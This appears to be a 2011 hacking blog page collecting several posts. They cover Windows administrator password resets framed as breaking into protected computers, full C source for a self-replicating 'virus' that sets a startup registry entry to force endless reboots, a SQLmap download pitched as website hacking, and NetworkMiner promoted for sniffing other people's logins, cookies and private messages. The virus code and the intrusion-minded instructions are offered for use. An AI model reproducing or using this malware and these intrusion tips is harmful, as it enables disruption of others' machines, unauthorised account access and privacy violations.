Friday, July 29, 2011

Hack the Administrator Password in Windows [modified]


All of us have experienced a situation where in we need to gain access to a computer which is password protected or at times we may forget the administrator password without which it becomes impossible to login to the computer. So here is an excellent hack using which you can reset the password or make the password empty (remove the password) so that you can gain administrator access to the computer. You can do this with a small tool called  Offline NT Password & Registry Editor. This utility works offline, that means you need to shut down your computer and boot off your using a floppy disk, CD or USB device (such as pen drive). The tool has the following features.
  • You do not need to know the old password to set a new one
  • Will detect and offer to unlock locked or disabled out user accounts!
  • There is also a registry editor and other registry utilities that works under linux/unix, and can be used for other things than password editing.

What it does ?

Most Windows operating systems stores the login passwords and other encrypted passwords in a file called sam (Security Accounts Manager). This file can be usually found in \windows\system32\config. This file is a part of Windows registry and remains inaccessible as long as the OS is active. Hence it is necessary that you need to boot off your computer and access this sam file via boot. This tool intelligently gains access to this file and will reset/remove the password associated with administrator or any other account.
The download link for both CD and floppy drives along with the complete instructions is given below
It is recommended that you download the CD version of the tool since floppy drive is outdated and doesn’t exist in today’s computer. Once you download you’ll get a bootable image which you need to burn it onto your CD. Now boot your computer from this CD and follow the screen instructions to reset the password.
  • Another simple way to reset non-administrator account passwords

Here is another simple way through which you can reset the password of any non-administrator accounts. The only requirement for this is that you need to have administrator privileges. Here is a step-by-step instruction to accomplish this task.
1. Open the command prompt (Start->Run->type cmd->Enter)
2. Now type net user and hit Enter
3. Now the system will show you a list of user accounts on the computer. Say for example you need to reset the password of the account by name John, then do as follows
4. Type net user John * and hit Enter. Now the system will ask you to enter the new password for the account. That’s it. Now you’ve successfully reset the password for John without knowing his old password.
I hope it helped atleast someone.:-)

Testing And Removing The Virus[RESTART] From Your PC


You can compile and test this virus on your own PC without any fear. To test, just doubleclick the sysres.exe file and restart the system manually. Now onwards ,when every time the PC is booted and the desktop is loaded, your PC will restart automatically again and again.
It will not do any harm apart from automatically restarting your system. After testing it, you can remove the virus by the following steps.
1. Reboot your computer in the SAFE MODE
2. Goto
X:WindowsSystem
(X can be C,D,E or F)
3.You will find a file by name sysres.exe, delete it.
4.Type regedit in run.You will goto registry editor.Here navigate to
HKEY_CURRENT_USERSoftwareMicrosoftWindows CurrentVersionRun
There, on the right site you will see an entry by name “sres“.Delete this entry.That’s it.You have removed this Virus successfully.
Logic Behind The Working Of The Virus
If I don’t explain the logic(Algorithm) behind the working of the virus,this post will be incomplete. So I’ll explain the logic in a simplified manner. Here I’ll not explain the technical details of the program. If you have further doubts please pass comments.
LOGIC:
1. First the virus will find the Root partition (Partition on which Windows is installed).
2. Next it will determine whether the Virus file is already copied(Already infected) into X:WindowsSystem
3. If not it will just place a copy of itself into X:WindowsSystem and makes a registry entry to put this virus file onto the startup.
4. Or else if the virus is already found in the X:WindowsSystem directory(folder), then it just gives a command to restart the computer.
This process is repeated every time the PC is restarted.

Create Virus to Restart Computer On Start Up


I suppose everyone using Computer might have come across the term Virus but have you ever wondered about creating one?
In this post I will tell you how to create a virus in C that restarts computer on startup
You need to compile the code given in C compiler and make it yours.
Source Code in C ::::::
#include<stdio.h>
#include<dos.h>
#include<dir.h>
int found,drive_no;char buff[128];
void findroot()
{
int done;
struct ffblk ffblk; //File block structure
done=findfirst(“C:\windows\system”,&ffblk,FA_DIREC); //to determine the root drive
if(done==0)
{
done=findfirst(“C:\windows\system\sysres.exe”,&ffblk,0); //to determine whether the virus is already installed or not
if(done==0)
{
found=1; //means that the system is already infected
return;
}
drive_no=1;
return;
}
done=findfirst(“D:\windows\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(“D:\windows\system\sysres.exe”,&ffblk,0);
if
(done==0)
{
found=1;return;
}
drive_no=2;
return;
}
done=findfirst(“E:\windows\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(“E:\windows\system\sysres.exe”,&ffblk,0);
if(done==0)
{
found=1;
return;
}
drive_no=3;
return;
}
done=findfirst(“F:\windows\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(“F:\windows\system\sysres.exe”,&ffblk,0);
if(done==0)
{
found=1;
return;
}
drive_no=4;
return;
}
else
exit(0);
}
void main()
{
FILE *self,*target;
findroot();
if(found==0) //if the system is not already infected
{
self=fopen(_argv[0],”rb”); //The virus file open’s itself
switch(drive_no)
{
case 1:
target=fopen(“C:\windows\system\sysres.exe”,”wb”); //to place a copy of itself in a remote place
system(“REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\
CurrentVersion\Run /v sres /t REG_SZ /d
C:\windows\system\ sysres.exe”); //put this file to registry for starup
break;
case 2:
target=fopen(“D:\windows\system\sysres.exe”,”wb”);
system(“REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\
CurrentVersion\Run /v sres /t REG_SZ /d
D:\windows\system\sysres.exe”);
break;
case 3:
target=fopen(“E:\windows\system\sysres.exe”,”wb”);
system(“REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\
CurrentVersion\Run /v sres /t REG_SZ /d
E:\windows\system\sysres.exe”);
break;
case 4:
target=fopen(“F:\windows\system\sysres.exe”,”wb”);
system(“REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\
CurrentVersion\Run /v sres /t REG_SZ /d
F:\windows\system\sysres.exe”);
break;
default:
exit(0);
}
while(fread(buff,1,1,self)>0)
fwrite(buff,1,1,target);
fcloseall();
}
else
system(“shutdown -r -t 0?); //if the system is already infected then just give a command to restart
}
__________________________________________________________________
Compiling The Scource Code Into Executable Virus.
1. Download the Source Code Here
2. The downloaded file will be Sysres.C

Testing And Removing The Virus From Your PC
You can compile and test this virus on your own PC without any fear. To test, just doubleclick the sysres.exe file and restart the system manually. Now onwards ,when every time the PC is booted and the desktop is loaded, your PC will restart automatically again and again.
It will not do any harm apart from automatically restarting your system. After testing it, you can remove the virus by the following steps.
1. Reboot your computer in the SAFE MODE
2. Goto
X:WindowsSystem
(X can be C,D,E or F)
3.You will find a file by name sysres.exe, delete it.
4.Type regedit in run.You will goto registry editor.Here navigate to
HKEY_CURRENT_USERSoftwareMicrosoftWindows CurrentVersionRun
There, on the right site you will see an entry by name “sres“.Delete this entry.That’s it.You have removed this Virus successfully.
Logic Behind The Working Of The Virus
If I don’t explain the logic(Algorithm) behind the working of the virus,this post will be incomplete. So I’ll explain the logic in a simplified manner. Here I’ll not explain the technical details of the program. If you have further doubts please pass comments.
LOGIC:
1. First the virus will find the Root partition (Partition on which Windows is installed).
2. Next it will determine whether the Virus file is already copied(Already infected) into X:WindowsSystem
3. If not it will just place a copy of itself into X:WindowsSystem and makes a registry entry to put this virus file onto the startup.
4. Or else if the virus is already found in the X:WindowsSystem directory(folder), then it just gives a command to restart the computer.
This process is repeated every time the PC is restarted.

Star Wars Movie Hidden in every Computer


Would you believe if I say that every computer has a hidden Star Wars Movie Inside it?
Don’t believe me.. Read on..
Every computer, no matter what windows you are using has a star wars movie inside it. You just need to have Telnet enabled in it.
Its basically a Telnet command but it can make you really cool among your friends.:P
Now moving on to the Star Wars part.
Just copy the command below and paste it in Run.
You should be connected to the INTERNET for using this.
1) Go to Starts–>Programs–>Run
2)  Type
telnet towel.blinkenlights.nl
And hit enter……… Enjoy the magic!
I hope you liked it.

Hack website using SQL map | automatic SQL injection tool


Hack website using SQL map | automatic SQL injection tool
SQL map v.0.9 Released

                                                                                                  Download Here:          
                                                                   http://sourceforge.net/projects/sqlmap/files/

Network Miner 1.0

Network-Miner-Packet-sniffer
NetworkMiner is a Network Forensic Analysis Tool (NFAT) for Windows. NetworkMiner can be used as a passive network sniffer/packet capturing tool in order to detect operating systems, sessions, hostnames, open ports etc. without putting any traffic on the network. NetworkMiner can also parse PCAP files for off-line analysis and to regenerate/reassemble transmitted files and certificates from PCAP files.


Network Miner is for those who are not much familiar with using WireShark. Network Miner made easy to sniff packets from the network and categories and sort it in different tabs so you can interesting sniffed stuff. You can also analyze pcap files which are dumped using WireShark.
Some cool features can be found :
  • Fully GUI application run on Windows platform.
  • Open source application.
  • Sniff User names of any mailing or social website e.g facebook,twitter,gmail and paypal so on…
  • All sort of cookies can be sniffed with one click.
  • Extraction of Facebook, Twitter, Yahoo, Windows Live(Hotmail) messages. (You don’t need password of someone to see his emails ;-) )
and more detailed features can be seen on official Network Miner web
Network miner has recently launched payware Professional version which provide some extra features e.g reporting, geo localization, command line script support.
Although the free version is so powerful, you will love it. We have been using it for long time.
Latest version is announced today.
Download :
Application : NetworkMiner_1-0.zip
ChangeLog : ChangeLog